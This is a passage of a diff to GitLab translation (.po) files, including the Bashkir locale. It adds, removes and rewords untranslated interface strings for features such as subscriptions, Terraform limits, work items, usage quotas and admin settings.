msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/ba_RU/gitlab.po b/locale/ba_RU/gitlab.po
index df7afccfeb7..cd6ff2a555f 100644
--- a/locale/ba_RU/gitlab.po
+++ b/locale/ba_RU/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ba\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -659,6 +659,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -731,6 +734,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -861,6 +867,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -877,6 +889,10 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1010,10 +1023,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1409,7 +1418,7 @@ msgid_plural "%d roles"
msgstr[0] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgid "1 week remaining"
@@ -1633,6 +1642,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1777,9 +1789,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1828,9 +1837,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -1990,7 +1996,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2068,6 +2074,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2446,15 +2455,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2536,9 +2548,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2566,6 +2587,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2620,6 +2647,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2689,6 +2719,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2776,6 +2809,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2863,9 +2899,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3157,7 +3193,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3202,6 +3238,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3460,6 +3499,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4102,9 +4144,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4273,15 +4312,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4315,9 +4345,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
